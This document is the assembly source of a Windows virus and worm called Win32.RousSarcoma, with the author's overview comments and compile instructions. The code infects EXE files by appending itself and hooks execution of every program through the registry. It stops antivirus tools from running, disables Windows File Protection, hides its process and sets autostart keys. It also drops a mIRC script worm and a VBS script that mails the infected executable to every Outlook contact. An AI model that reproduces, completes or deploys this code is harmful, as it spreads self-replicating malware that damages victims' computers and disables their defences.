You are on page 1of 30

RousSarc.

asm

;
;
; .--------------------------------.
; | |
; | Win32.RousSarcoma by SnakeByte |
; | SnakeByte@kryptocrew.de |
; | www.kryptocrew.de/snakebyte |
; .__________________________________.
;
;
; This virus was created by the idea of coding a retro virus, which
; is able too fool with some AV's. I was not able to realize all my ideas,
; but I think it is some fun. This virus uses some tricks to make disinfection
; harder. I came to the idea of making a virus which is able to drop itself to
; the original EXE File, when I saw that most AV's do not detect the first
; generation of a lot of viruses. Therefore the one part of this virus stays
; undetected by heuristics. Generally this virus consits of 2 parts. The EXE File
; Part and the one which is executed with an infected file. It "hooks" the execution
; of every EXE File and does not execute it if it is an AV. If it is none, it gets
; infected and started. Before starting the file it also checks if there is an
; mirc.ini in the same path. If there is one, it drops a mirc script worm. In Addition
; to this, the virus install itself in the registry to get started every time with ;windows.
; It searches the registry for more paths to infect files there. If it can't find more
; paths it drops a vbs script to send the worm around via Outlook.
;
; I am not good at writing so here is an overview of what
; the virus does :
;
;
; Name : Win32.RousSarcoma
; Type : PE-Appender by increasing last section
; Worming : Yes, mIRC Script and VBS Worm
; Operating System : Win32
; Author : SnakeByte
; Payload : None, too boring to write one ;) [ Got some other interesting ;stuff
; in mind i want to code as soon as possible ]
; Virus Size : 8192 Bytes
; Infection Mark : A-AV
; Encryption : None
; Autostart : RunOnce & exefiles
; Anti-Bait : Does not infect files < 20000 Bytes
; Anti-Debugging : Yes, against SoftIce and Int 1h tracing
; Anti-AV : Yes, does not allow the execution of several AV's
; disables Win2k File Protection
; Anti-User : Hides itself in files & several different places,
; is not shown at ctrl-alt-del list
; Runs at Level : Ring-3, but still infects every EXE File on executing
; Infects : 10 Files in the current directory,
; 10 Files in every path stored in this registry Key :
; HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App ;Paths
; Every EXE File which gets executed
;
; How to compile ( TASM 5.0 ) :
;
; tasm32 /z /ml /m3 RousSarc,,;
; tlink32 -Tpe -c RousSarc,RousSarc,, import32.lib
; pewrsec RousSarc.EXE
;
; ( Make sure that the .EXE is uppercases !! )
;
; At the moment there are just 100 Bytes of Code i could add, with the file staying
; at 8192 Bytes. If I would add more, the file would grow to 12 KB. I decided to
RousSarc.asm

; keep it small and leave stuff out like encryption or even poly. Maybe it could
; be optimized on several parts to make it fit with encryption to a 8 KB file,
; but I don't mind at the moment
;
;
;
; Thanks and greetz to :
;
; Lord Arz : Did you also finish your EXEFILES "hooking" something ? ;)
; DukeCS : Heh, when will KC be done ? *fg*
; Matsad : Sorry, for not coming, but i got no cash and need to see my girlfriend ;:P
; Lethal Mind : Heh, where are you ? ;(
; Ciatrix : Nice that you carry on !
;
;
;
; ***************************************************************************
; ------------------------[ Let's get ready to rumble ]----------------------
; ***************************************************************************

.586p
.model flat
jumps ; calculate Jumps
.radix 16 ; Hexadecimal numbers

; define some API's


extrn ExitProcess:PROC ; Host for EXE-Part
extrn LoadLibraryA:PROC ; nessesairy to get all other API's in the EXE-Part
extrn GetProcAddress:PROC ; cause I don't want DLL not found error's

extrn MessageBoxA:PROC ; for testing

.code
; Some constants
VirusSize equ 8192d ; Lenght of EXE-File
ImageBase equ 400000h ; Imagebase of our TASM generated EXE-File

CPart1 equ 600h


Gap1 equ 0A00h

; ###########################################################################
; -------------------[ This is the first part of the virus ]-----------------
; ###########################################################################
Virus:
; Here do we search for EXE-files and put the
; entire PE-Virus EXE to the end !
; we search for the needed api's with GetProcAdress
; and LoadModuleHandle, so we will not get Problems
; with missing DLL's or API's

mov ebp, 'VA-A' ; place a mark in ebp, to identify this part

lea eax, KERNEL32 ; push name of kernel32.dll


push eax
call LoadLibraryA ; save Handle
mov dword ptr [K32Handle], eax
test eax, eax ; if we failed we stop here
jz FirstGenHost

lea esi, Kernel32Names ; get all API's we need from kernel


lea edi, XFindFirstFileA
mov ebx, K32Handle
RousSarc.asm

push NumberOfKernel32APIS
pop ecx
call GetAPI3 ; the procedure is needed in both parts

lea eax, advname ; push name of advapi32.dll


push eax
call LoadLibraryA ; save Handle
mov dword ptr [ADVHandle], eax
test eax, eax ; if we failed we stop here
jz FirstGenHost

lea esi, AdvapiNames ; get all API's we need from kernel


lea edi, XRegOpenKeyExA
mov ebx, ADVHandle
push NumberOfAdvapiAPIS
pop ecx
call GetAPI3 ; the procedure is needed in both parts

; Lets hide our Application from the CTRL-ALT-DEL List,


; to prevent us from being detected by a suspicious user ;)

; Check if the API is available


cmp dword ptr [XRegisterServiceProcess],0
je NoHide

; Get ID of our process


call dword ptr [XGetCurrentProcessId]

push 1 ; We want to run as a service


push eax ; process id
call dword ptr [XRegisterServiceProcess]

NoHide:

; ***************************************************************************
; ---------------------------[ Initialisation ]------------------------------
; ***************************************************************************
; Lets do a check on our commandline params,
; to see, if we got startet with a filename
; in it --> exefile method

call dword ptr [XGetCommandLineA]


mov dword ptr [CmdLine], eax

; the start of the commandline is in eax,


; we will parse it to the .exe part to see
; if there is anything afterwards
CommandReceive1:
cmp dword ptr [eax],'EXE.'
je CommandOK1
inc eax
jmp CommandReceive1

CommandOK1:
add eax, 4h ; eax points directly after the <name>.exe
cmp byte ptr [eax], 0 ; if the Commandline ends here, we do not need
je SetRunOnceKey ; to care about this ;)

add eax, 2h ; skip blanc and "


mov esi, eax ; save it
mov dword ptr [SaveBlanc], esi
RousSarc.asm

push esi
call AVNameCheck
cmp esi, 0
je AVMessage
pop esi
jmp mIRCcheck

AVMessage: ; Arg ! Dirty AV found .. :P


pop esi ; lets drop a message

push 30h ; Style


push esi
push offset AVMsg
push 0
call MessageBoxA
jmp SetRunOnceKey

AVMsg db "File is corrupted. Can't start program",0

PathEnd dd 0h

mIRCcheck: ; we search for the path


pushad

push offset PathEnd


push offset NameBuffer
push 255d
push dword ptr [SaveBlanc]
call dword ptr [XGetFullPathNameA]

mov edi, dword ptr [PathEnd]


mov esi, offset mircINI ; append the mirc.ini to the path
mov ecx, 9d
rep movsb ; and now we need to check if the mIRC.ini does exist
; if it does, we found a mirc script to infect *eg*
; because we infect it bevore mIRC gets loaded, we do not
; need to fear the mIRC worm protection
lea esi, NameBuffer
call FindFirstFileProc
cmp eax, -1 ; we did not found the mirc.ini ;(
je NoMirc

push offset NameBuffer ; Write our entry to the file


push offset MIRCprot
push offset MOffset
push offset MIRCrfiles
call dword ptr [XWritePrivateProfileStringA]

mov edi, dword ptr [PathEnd]


mov esi, offset MIRCprot ; append the RousSarc.ini to the path
mov ecx, 13d
rep movsb ; and now we need to check if the mIRC.ini does exist

push 0
push 080h ; normal attribs
push 2h ; create a new file (always)
push 0
push 0
push 0C0000000h ; read + write
lea eax, NameBuffer ; file we create
RousSarc.asm

push eax
Call dword ptr [XCreateFileA]
cmp eax, 0FFFFFFFFh
je NoMirc

push eax ; save filehandle

push 0 ; write script to file


push offset Write
push offset EndScript - offset MIRCscript
push offset MIRCscript
push Handle
call dword ptr [XWriteFile]

; Handle is still on the stack, so we close the file


call dword ptr [XCloseHandle]

NoMirc:
; close the search handle
push dword ptr [FindHandle]
call dword ptr [XCloseHandle]
popad

CommandReceive2: ; so we will be able to locate the file and


cmp byte ptr [eax],'.' ; infect it
je CommandOK2
cmp byte ptr [eax],0 ; check if we don't get too far
je Outbreak
inc eax
jmp CommandReceive2
CommandOK2:
add eax, 4h
cmp byte ptr [eax],0
jne ZeroAfterName
mov byte ptr [eax+1],0
ZeroAfterName:
mov byte ptr [eax],0 ; we place a Zero here, so we can do a findfirst
; on the filename which is in esi

push eax
push esi
call FindFirstFileProc
pop esi ; esi points to start of filename
pop ebx ; ebx points to the parameters

cmp eax, -1 ; file is not there :(


je Outbreak ; we infect some others

pushad ; save registers


lea edi, WFD_szFileName
mov ecx, ebx ; lenght of filename in ecx
sub ecx, esi
inc ecx
rep movsb ; write filename & path there

lea esi, WFD_szFileName ; point to filename


call InfectFile ; infect file
popad ; restore registers

; esi points to start of filename


RousSarc.asm

; ebx points to the parameters


mov byte ptr [ebx], " " ; place a blank here

xor eax, eax ; let's execute the file


push offset ProcessInformation
push offset StartupInfo
push eax ; lpCurrentDirectory
push eax ; lpEnvironment
push eax ; Create_New_Process_Group & Normal_Priority_Class
push eax ; bInheritHandles
push eax ; lpThreadAttributes
push eax ; lpProcessAttributes
push esi ; filename with commandline
push eax ; command line
call dword ptr [XCreateProcessA]

SetRunOnceKey: ; Here we go if we found an AV or got


; or after executing a program
; lets add 2 autostart features

; Now we store the name of this file in the RunOnce key


; ( we add our file that regulary, that it will be always there,
; but nearly noone looks for files in this key *g* )
push offset RegHandle
push 001F0000h ; complete access
push 0h ; reserved
push offset RunOnceKey ; check if our key exists
push HKEY_LOCAL_MACHINE ; HKEY_LOCAL_MACHINE
call dword ptr [XRegOpenKeyExA]

cmp eax, 0
jne CheckOwnKey

xor eax, eax ; search for end of Systemdirectory


lea edi, NameBuffer
mov ebx, edi
repnz scasb
sub ebx, edi
inc ebx

push ebx
push offset NameBuffer ; Value
push 1h ; String
push 0 ; reserved
push offset Valuename ; value name
push dword ptr [RegHandle]
call dword ptr [XRegSetValueExA]

push dword ptr [RegHandle]


call dword ptr [XRegCloseKey]

jmp FirstGenHost

SaveBlanc dd 0h
EXEFilesKey db 'exefile\shell\open\command',0
EXEFilesValue db 'RousSarc.EXE "%1" %*',0
EFVSize equ $ - offset EXEFilesValue

; ***************************************************************************
; ------------------------------[ Outbreak ! ]-------------------------------
RousSarc.asm

; ***************************************************************************
Outbreak: ; We got no commandline !
HKEY_CURRENT_USER equ 80000001h
HKEY_LOCAL_MACHINE equ 80000002h
; first of all, let's disable the win2k virus protection

push offset RegHandle


push 001F0000h ; complete access
push 0h ; reserved
push offset _2kProt ; check if our key exists
push HKEY_LOCAL_MACHINE ; HKEY_LOCAL_MACHINE
call dword ptr [XRegOpenKeyExA]

test eax, eax ; if we failed opening the key, we return


jz No2kProt

; Value to disable Windows File Protection


mov dword ptr [RegBuffer], 0ffffff9dh

push 4
push offset RegBuffer ; Value
push 4h ; REG_DWORD
push 0 ; reserved
push offset _2kProtValue ; value name
push dword ptr [RegHandle]
call dword ptr [XRegSetValueExA]

; Close it again
push dword ptr [RegHandle]
call dword ptr [XRegCloseKey]

No2kProt: ; Now we will copy ourselfes into the windows directory


; to be able to respond to every started file
; we just got the cmd line
mov eax, dword ptr [CmdLine]
CommandReceive3:
cmp dword ptr [eax],'EXE.'
je CommandOK3
inc eax
jmp CommandReceive3

CommandOK3:
add eax, 4h ; eax points directly after the <name>.exe
mov byte ptr [eax], 0 ; Place a 0 here to copy the file

push 255d
push offset NameBuffer
call dword ptr [XGetWindowsDirectoryA]

xor eax, eax ; search for end of Systemdirectory


lea edi, NameBuffer
repnz scasb
dec edi
lea esi, RunOnceName ; Append Filename
mov ecx, 13d
rep movsb

; Copy our file to the system directory


push 1
push offset NameBuffer ; where to store
push dword ptr [CmdLine] ; existing
RousSarc.asm

call dword ptr [XCopyFileA]

; Lets set the Exefiles Key


push offset RegHandle
push 001F0000h ; complete access
push 0h ; reserved
push offset EXEFilesKey ; Open It
push 80000000h ; HKEY_CLASSES_ROOT
call dword ptr [XRegOpenKeyExA]

cmp eax, 0
jne CheckOwnKey

; Let's set our Value


push EFVSize
push offset EXEFilesValue ; Value
push 1h ; String
push 0h ; reserved
push 0h ; value name
push dword ptr [RegHandle]
call dword ptr [XRegSetValueExA]

push dword ptr [RegHandle]


call dword ptr [XRegCloseKey]

CheckOwnKey:
mov dword ptr [RegBuffer], 0h

push offset RegHandle


push 001F0000h ; complete access
push 0h ; reserved
push offset MyKey ; check if our key exists
push HKEY_CURRENT_USER ; HKEY_CURRENT_USER
call dword ptr [XRegOpenKeyExA]

test eax, eax ; if we failed opening the key, we return


jz KeySet

xor eax, eax ; clear eax


push offset Dispostiton
push offset RegHandle
push eax ; security attribs
push 001F0000h ; complete access
push eax ; REG_OPTION_NON_VOLATILE
push eax ; lpClass
push eax ; reserved
push offset MyKey ; Subkey
push HKEY_CURRENT_USER ; HKEY_CURRENT_USER
call dword ptr [XRegCreateKeyExA]

KeySet:

push offset RegData2


push offset RegBuffer
push offset RegData1
push 0
push offset Valuename
push dword ptr [RegHandle]
call dword ptr [XRegQueryValueExA]
; RegBuffer contains now a value after which
RousSarc.asm

; we decide what to do, but first, we increment the


; value and save it
inc dword ptr [RegBuffer] ; Increment Value

push 4
push offset RegBuffer ; Value
push 4h ; REG_DWORD
push 0 ; reserved
push offset Valuename ; value name
push dword ptr [RegHandle]
call dword ptr [XRegSetValueExA]

; Close the key


push dword ptr [RegHandle]
call dword ptr [XRegCloseKey]

mov eax, dword ptr [RegBuffer]

; Now we decide what to do ( we start with 2 because we just incremented it and i will not
do anything after
; the second start, cause we need one reboot to disable WFP ) :
;
; Value - what to do
;
; 2 - infect directory 1 of
; HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
; 3 - " " 2 " ""
; 4 - " " 3 " ""
; 5 - " " 4 " ""
; 6 - " " 5 " ""
; ... no more directorys in RegKey ? --> set value to 0

dec eax
dec eax

jz NoRegistryInfection
push eax

push offset RegHandle


push 001F0000h ; complete access
push 0h ; reserved
push offset AppPaths ; App Paths are stored here
push HKEY_LOCAL_MACHINE ; HKEY_LOCAL_MACHINE
call dword ptr [XRegOpenKeyExA]

pop eax

push 255d
push offset NameBuffer
push eax ; Key Number we want to retrieve
push dword ptr [RegHandle]
call dword ptr [XRegEnumKeyA]
cmp eax, 0
jne DropVBSWorm

push offset RegHandle2


push 001F0000h ; complete access
push 0h ; reserved
push offset NameBuffer ; App Paths are stored here
push dword ptr [RegHandle] ; HKEY_LOCAL_MACHINE
call dword ptr [XRegOpenKeyExA]
RousSarc.asm

; Read Vakze

mov dword ptr [RegData2], 255d

push offset RegData2


push offset NameBuffer
push offset RegData1
push 0
push offset PathValue
push dword ptr [RegHandle2]
call dword ptr [XRegQueryValueExA]

push dword ptr [RegHandle2]


call dword ptr [XRegCloseKey]

lea edi, NameBuffer ; Remove ; to get directory


mov al, ';'
mov ecx, 254d
repnz scasb
dec edi
mov byte ptr [edi], 0

push offset CurrentPath ; Get Current dir and save it


push 255d
call dword ptr [XGetCurrentDirectoryA]

push offset NameBuffer ; set new directory


call dword ptr [XSetCurrentDirectoryA]

call InfectCurDir ; Infect the directory

push offset CurrentPath ; restore old directory


call dword ptr [XSetCurrentDirectoryA]

CloseRegInfection:
push dword ptr [RegHandle]
call dword ptr [XRegCloseKey]

NoRegistryInfection:

call InfectCurDir ; Infect the current directory


jmp FirstGenHost

DropVBSWorm: ; Ok, we found no more directorys in the App Paths


; Registry Key, so we will drop a little VBS Script
; and execute it, so the virus will also spread with
; the help of outlook
push 0
push 080h ; normal attribs
push 2h ; create a new file (always)
push 0
push 0
push 0C0000000h ; read + write
lea eax, VBSWorm
push eax
Call dword ptr [XCreateFileA]
cmp eax, 0FFFFFFFFh
je CloseRegInfection
RousSarc.asm

push eax ; save filehandle

push 0 ; write script to file


push offset Write
push offset EndVBSScript - offset VBSscript
push offset VBSscript
push Handle
call dword ptr [XWriteFile]

; Handle is still on the stack, so we close the file


call dword ptr [XCloseHandle]

xor eax, eax ; let's execute the wormy script


push offset ProcessInformation
push offset StartupInfo
push eax ; lpCurrentDirectory
push eax ; lpEnvironment
push eax ; Create_New_Process_Group & Normal_Priority_Class
push eax ; bInheritHandles
push eax ; lpThreadAttributes
push eax ; lpProcessAttributes
push offset VBSWorm ; filename with commandline
push eax ; command line
call dword ptr [XCreateProcessA]

jmp CloseRegInfection

VBSscript:
db 'On Error Resume Next', 13d, 10d
db 'Dim R', 13d, 10d
db 'Set RS=CreateObject("Outlook.Application")', 13d, 10d
db 'For R=1 To 500', 13d, 10d
db 'Set Mail=RS.CreateItem(0)', 13d, 10d
db 'Mail.to=RS.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)', 13d, 10d
db 'Mail.Subject="Funny Thing !"', 13d, 10d
db 'Mail.Body="Take a look at this and just start laughing !"', 13d, 10d
db 'Mail.Attachments.Add("C:\RousSarc.EXE")', 13d, 10d
db 'Mail.Send', 13d, 10d
db 'Next', 13d, 10d
db 'RS.Quit', 13d, 10d, 13d, 10d
EndVBSScript:

VBSWorm db 'C:\RousSarc.vbs',0

AppPaths db 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths',0


PathValue db 'Path',0

RegData2 dd 4h ; Bytes to read in Buffer


RegBuffer dd 0h ; Buffer
Valuename db 'RousSarcoma',0
MyKey db 'RousSarcoma',0
RegHandle2 dd 0h

; ***************************************************************************
; --------------------------[ Infection current dir ]------------------------
; ***************************************************************************
RousSarc.asm

; We got all we need


; let's party ;)
InfectCurDir: ; Infect up to 10 files in the current directory
; use FindFirstFile / Next to find files
; 10 files at max.
mov dword ptr [InfCounter], 10d

lea esi, filemask


call FindFirstFileProc

inc eax
jz EndInfectCurDir1 ; did we get all ?
dec eax

InfectCurDirFile:
; Filename in esi
lea esi, WFD_szFileName
call InfectFile ; Try it !
cmp dword ptr [InfCounter], 0h
jna EndInfectCurDir2

call FindNextFileProc

test eax, eax


jnz InfectCurDirFile

EndInfectCurDir2: ; close Search - Handle

push dword ptr [FindHandle]


call dword ptr [XFindClose]

EndInfectCurDir1:

ret

; ***************************************************************************
; -------------------------[ prepare Infection ]----------------------------
; ***************************************************************************

InfectFile: ; filename is in WFD_szFileName


; esi shows to this value

call AVNameCheck
cmp esi, 0h
je NoInfection

lea esi, WFD_szFileName

; ignore files smaller than 20000 Bytes


cmp dword ptr [WFD_nFileSizeLow], 20000d
jbe NoInfection
; ignore files bigger than 4,3 GB
cmp dword ptr [WFD_nFileSizeHigh], 0
jne NoInfection

call OpenFile ; Open File


jc NoInfection ; stop if there are problems
mov esi, eax

call CheckMZSign ; Check for DOS-Stub


RousSarc.asm

jc Notagoodfile

cmp word ptr [eax+3Ch], 0h


je Notagoodfile

xor esi, esi ; get PE-Header


mov esi, [eax+3Ch]
; Check if file is corrupted
cmp dword ptr [WFD_nFileSizeLow], esi
jb Notagoodfile

add esi, eax


mov edi, esi
call CheckPESign ; Check for PE-Header
jc Notagoodfile
; Check Infection Mark
; --> A-AV ( Anti- Anti-Virus )

cmp dword ptr [esi+4Ch], 'VA-A'


jz Notagoodfile

mov bx, word ptr [esi+16h]; Get Characteristics


and bx, 0F000h ; select Dll-Flag
cmp bx, 02000h
je Notagoodfile ; we won't no DLL Files

mov bx, word ptr [esi+16h]; Check for DLL-Files


and bx, 00002h
cmp bx, 00002h
jne Notagoodfile

call InfectEXE ; Infect this sucker !


jc NoInfection

Notagoodfile:
call UnMapFile

NoInfection:
ret

; ***************************************************************************
; ------------------------------[ File-Handling ]----------------------------
; ***************************************************************************
; FileName needs to be in esi
OpenFile:
xor eax,eax ; Open Files
push eax
push eax
push 3h
push eax
inc eax
push eax
push 80000000h or 40000000h
push esi ; Filename is in ESI
call dword ptr [XCreateFileA]

inc eax
jz Closed
dec eax

mov dword ptr [FileHandle],eax


mov ecx, dword ptr [WFD_nFileSizeLow]
RousSarc.asm

CreateMap:
push ecx
xor eax,eax
push eax
push ecx
push eax
push 00000004h
push eax
push dword ptr [FileHandle]
call dword ptr [XCreateFileMappingA]

mov dword ptr [MapHandle],eax

pop ecx ; Get Map-Site


test eax, eax
jz CloseFile ; Datei wieder...

xor eax,eax
push ecx
push eax
push eax
push 2h
push dword ptr [MapHandle]
call dword ptr [XMapViewOfFile]

or eax,eax
jz UnMapFile
; EAX contains starting offset of the map
mov dword ptr [MapAddress],eax
clc
ret

UnMapFile:
call UnMapFile2

CloseFile:
push dword ptr [FileHandle]
call [XCloseHandle]

Closed:
stc
ret

UnMapFile2:
push dword ptr [MapAddress]
call dword ptr [XUnmapViewOfFile]

push dword ptr [MapHandle]


call dword ptr [XCloseHandle]

ret

; ***************************************************************************
; ---------------------[ Infection of the EXE-File ]-------------------------
; ***************************************************************************

InfectEXE: ; MapAddress contains the start address of the file

mov ecx, [esi+3Ch] ; esi points to PE-Header


; ecx = Alignment Faktor
RousSarc.asm

mov eax, dword ptr [WFD_nFileSizeLow]


add eax, VirusSize

call Align
mov dword ptr [NewSize], eax
xchg ecx, eax

pushad
call UnMapFile2 ; remap file
popad

call CreateMap
jc NoEXE
; esi = PE-Header
mov esi, dword ptr [eax+3Ch]

add esi, eax


mov edi, esi ; edi = esi
; eax = Sections
; get last section
movzx eax, word ptr [edi+06h]
dec eax
imul eax, eax, 28h
add esi, eax
add esi, 78h ; point to Directory Table

mov edx, [edi+74h] ; Get Directory Entrys


shl edx, 3h
add esi, edx
; get EIP
mov eax, [edi+28h]
mov dword ptr [OldEIP], eax

; get Imagebase
mov eax, [edi+34h]
mov dword ptr [OldBase], eax

mov edx, [esi+10h] ; get size of RAW-Data


mov ebx, edx
add edx, [esi+14h] ; edx = points to raw-data
push edx

mov eax, ebx


add eax, [esi+0Ch] ; EAX contains now Start of our file
; but we need to point it to the second part of the virus
add eax, ( offset SecondPart - ImageBase ) - Gap1
; the 0A00h are caused by the uninitialized data

mov [edi+28h], eax


mov dword ptr [NewEIP], eax

mov eax, [esi+10h] ; enlarge Raw-Data


push eax
add eax, VirusSize ; VirusSize = Size of entire file
mov ecx, [edi+3Ch] ; align it
call Align

mov [esi+10h], eax ; save in file

pop eax ; new Virtual-Size


add eax, VirusSize
mov [esi+08h], eax
RousSarc.asm

pop edx

mov eax, [esi+10h]


add eax, [esi+0Ch] ; get new imagesize
mov [edi+50h], eax
; change the section flags
or dword ptr [esi+24h], 0A0000020h
; Write infection mark to file
; --> A-AV ( Anti- Anti-Virus )
mov dword ptr [edi+4Ch], 'VA-A'

xchg edi, edx

; save the start of the virus in file


mov dword ptr [StartofVirusinFile], edi
add edi, dword ptr [MapAddress]
push edi

call OpenMyself
; lets save the right Imagebase and EIP
; inside our buffered file ;)

; Save EIP & Imagebase


mov eax, dword ptr [OldEIP]
lea edi, FileBuffer
add edi, (offset retEIP - ImageBase) - Gap1
stosd

mov eax, dword ptr [OldBase]


lea edi, FileBuffer
add edi, (offset retBas - ImageBase) - Gap1
stosd

pop edi
lea esi, FileBuffer
mov ecx, VirusSize ; First Part
rep movsb ; append
; we need two steps, otherwise we would fill the

dec byte ptr [InfCounter]


clc
ret

NoEXE:
stc
ret

; ***************************************************************************
; -------------------------[ Open Us-Prozedur ]------------------------------
; ***************************************************************************
OpenMyself: ; this Procedure returns the start of
; the current file in esi
; first we need the filename
pushad
call dword ptr [XGetCommandLineA]
inc eax
mov dword ptr [CmdLine], eax

CommandReceive:
cmp dword ptr [eax],'EXE.'
RousSarc.asm

je CommandOK
inc eax
jmp CommandReceive

CommandOK:
add eax, 4h
mov byte ptr [eax],0 ; CmdLine contains now a pointer
; to the filename of our file
mov esi, dword ptr [CmdLine]

xor eax,eax ; Open File


push eax
push eax
push 3h
push eax
inc eax
push eax
push 80000000h
push esi ; Filename is in ESI
call dword ptr [XCreateFileA]

mov ebx, eax ; save handle

push 0 ; load the file into the free memory


push offset Read ; number of bytes read..
push VirusSize ; read how many bytes ?
push offset FileBuffer
push eax
call dword ptr [XReadFile]

push ebx
call dword ptr [XCloseHandle]
popad
ret

Read dd ?

; ***************************************************************************
; -----------------------[ Check if we got an AV ]---------------------------
; ***************************************************************************
AVNameCheck: ; pointer to name is in esi
pushad ; save all registers

lea edi, NameBuffer ; we transfer the name to a buffer


xor ecx, ecx

NameCheckLoop:
cmp byte ptr [esi], 0 ; check if we are at the end
je NameTransferred
lodsb ; get first letter
cmp al, 96d
jb StoreLetter
sub al, 32d ; convert to uppercase

StoreLetter:
stosb
inc ecx
jmp NameCheckLoop

NameTransferred: ; nothing found .. :(


cmp ecx, 0
je EndNameCheck
RousSarc.asm

mov dword ptr [NameLen], ecx

mov edx, 28d ; Number of AV-Names we check


lea esi, AVNames ; Pointer to the names
lea ebp, AVLenght
CheckLoop:
call NameCheck ; Procedure to check this name
jc WeGotAvName ; if Carriage Flag is set we got one
dec edx ; otherwise we search on, until edx = 0
jz EndNameCheck

xor eax, eax


mov al, byte ptr [ebp] ; increase esi
mov esi, dword ptr [NameESI2]
add esi, eax
inc ebp
jmp CheckLoop

EndNameCheck: ; We found nothing :)


popad
ret

WeGotAvName: ; We found a dirty AV :(


popad
xor esi, esi ; ESI = 0 as flag
ret

NameCheck: ; ECX contains the size of the search area


; ESI points to av name
; EDI points to filename
mov dword ptr [NameESI2], esi
mov ecx, dword ptr [NameLen]
lea edi, NameBuffer ; here we search for the Name
mov al, byte ptr [esi] ; get first byte into al..

mov dword ptr [NameESI], esi ; avname


mov dword ptr [NameEDI], edi ; filename

SearchOn:
mov esi, dword ptr [NameESI] ; avname
mov edi, dword ptr [NameEDI]

repnz scasb ; start search


cmp ecx,0
jz NoAV

mov dword ptr [NameESI], esi


dec edi
mov dword ptr [NameEDI], edi

Compare: ; compare the rest of the string


xor ecx, ecx
mov cl, byte ptr [ebp] ; points to stringlenght
Compare2:
repz cmpsb
jc Compare2
cmp ecx,0
jz Found

NoAV:
ret
RousSarc.asm

Found: ; We got a dirty AV :P


stc ; set flag
ret

NameLen dd 0h ; Size of the filename


NameESI dd 0h ; Pointer to av name
NameEDI dd 0h ; Pointer to filename
NameESI2 dd 0h ; Pointer to av name

; Table with names of AV-File we don't start


AVNames:
db 'AVPM' ; AVP Names
db 'AVP32'
db 'AVPCC'
db 'AVPTC'
db '_AVPM'
db '_AVP32'
db '_AVPCC'
db 'AVPDOS'

db 'AVE32' ; Anti-Vir
db 'AVGCTRL'
db 'AVWIN95'

db 'SCAN32' ; DR-Solomon
db 'AVCONSOL'
db 'VSHWIN32'

db 'FP-WIN' ; F-Prot
db 'F-STOPW'

db 'DVP95' ; F-Secure
db 'F-AGNT95'
db 'F-PROT95'

db 'VET95' ; InnoculateIT
db 'VETTRAY'

db 'CLAW95' ; Norman Virus Control


db 'NVC95'

db 'NAVAPW32' ; Norton
db 'NAVW32'

db 'SWEEP95' ; Sophos

db 'IOMON98' ; PC-Cillin
db 'PCCWIN98'

db 'MONITOR' ; RAV
db 'RAW7WIN'

AVLenght:
db 4d, 5d, 5d, 5d, 5d, 6d, 6d, 6d ; AVP
db 5d, 7d, 7d ; ANTI-Vir
db 6d, 8d, 8d ; DR-Solomon
db 6d, 7d ; F-PROT
db 5d, 8d, 8d ; F-Secure
db 5d, 7d ; Innoculate-IT
db 6d, 5d ; Norman
db 8d, 6d ; Norton
db 7d ; Sophos
RousSarc.asm

db 7d, 8d ; PC-Cillin
db 7d, 7d ; RAV

; ***************************************************************************
; --------------------------[ Align-Prozedur ]-------------------------------
; ***************************************************************************
; eax - Size
; ecx - base
Align:
push edx
xor edx, edx
push eax
div ecx
pop eax
sub ecx, edx
add eax, ecx
pop edx ; eax - New Size
ret

; ***************************************************************************
; --------------------------[ FindFile Prozeduren ]--------------------------
; ***************************************************************************

; Search for files


FindFirstFileProc:
call ClearFindData
lea eax, WIN32_FIND_DATA
push eax
push esi
call dword ptr [XFindFirstFileA]
mov dword ptr [FindHandle], eax
ret

FindNextFileProc:
call ClearFindData
lea eax, WIN32_FIND_DATA
push eax
mov eax, dword ptr [FindHandle]
push eax
call dword ptr [XFindNextFileA]
ret

ClearFindData:
lea edi, WFD_szFileName
mov ecx, 276d ; clear old data
xor eax, eax
rep stosb
ret

;****************************************************************************
;-----------------------------[ PE / MZ Check ]------------------------------
;****************************************************************************
; Check MZ and PE - Signs
CheckPESign:
cmp dword ptr [edi], 'FP' ; greater or equal to "PF"
jae NoPESign

cmp dword ptr [edi], 'DP' ; lower or equal to "PD"


jbe NoPESign

clc ; all left is "PE"


RousSarc.asm

ret

NoPESign:
stc
ret

CheckMZSign:

cmp word ptr [esi], '[M'


jae NoPESign

cmp word ptr [esi], 'YM'


jbe NoPESign

clc
ret
ret

; ***************************************************************************
; ----------------[ This is the host for the EXE-Virus Part ]----------------
; ***************************************************************************

FirstGenHost:
push 0h ; stop this !
call ExitProcess
jmp FirstGenHost

;
; \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
; ////////////////////////////////////////////////////////////////////////////\
; ###########################################################################/\
; ------------------[ This is the second part of the Virus ]-----------------/\
; ###########################################################################/\
; ////////////////////////////////////////////////////////////////////////////\
; \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
;

SecondPart:
; Here do we drop the entire file from the
; infected goat and execute it

; ***************************************************************************
; -------------------------[ Search for Kernel ]-----------------------------
; ***************************************************************************

call Delta

Delta:
pop ebp
sub ebp, offset Delta

mov esi, [esp] ; get Create Process API


xor si, si

call GetKernel ; Search for kernel


jnc GetApis ; If we got it we carry on..
jmp ExecuteHost
RousSarc.asm

; ***************************************************************************
; --------------------[ Search-Kernel Procedure ]----------------------------
; ***************************************************************************

GetKernel:
mov byte ptr [ebp+K32Trys], 5h

GK1:
cmp byte ptr [ebp+K32Trys], 00h
jz NoKernel ; did we pass the limit ?

call CheckMZSign ; Check for exe-stub


jnc CheckPE

GK2:
sub esi, 10000h ; search next page
dec byte ptr [ebp+K32Trys]
jmp GK1 ; test again

CheckPE: ; test for PE-Header


mov edi, [esi+3Ch]
add edi, esi
call CheckPESign

jnc CheckDLL ; check dll-sign


jmp GK2

CheckDLL:
add edi, 16h
mov bx, word ptr [edi] ; get characteristics
and bx, 0F000h ; to check for dll flag
cmp bx, 02000h
jne GK2

KernelFound: ; We got it !
sub edi, 16h ; edi = PE-Header
xchg eax, edi ; eax = PE offset
xchg ebx, esi ; ebx = MZ offset
clc ; clear carriage flag
ret

NoKernel:
stc ; set carriage flag if we did not found it
ret

K32Trys db 5h ; search range

; ***************************************************************************
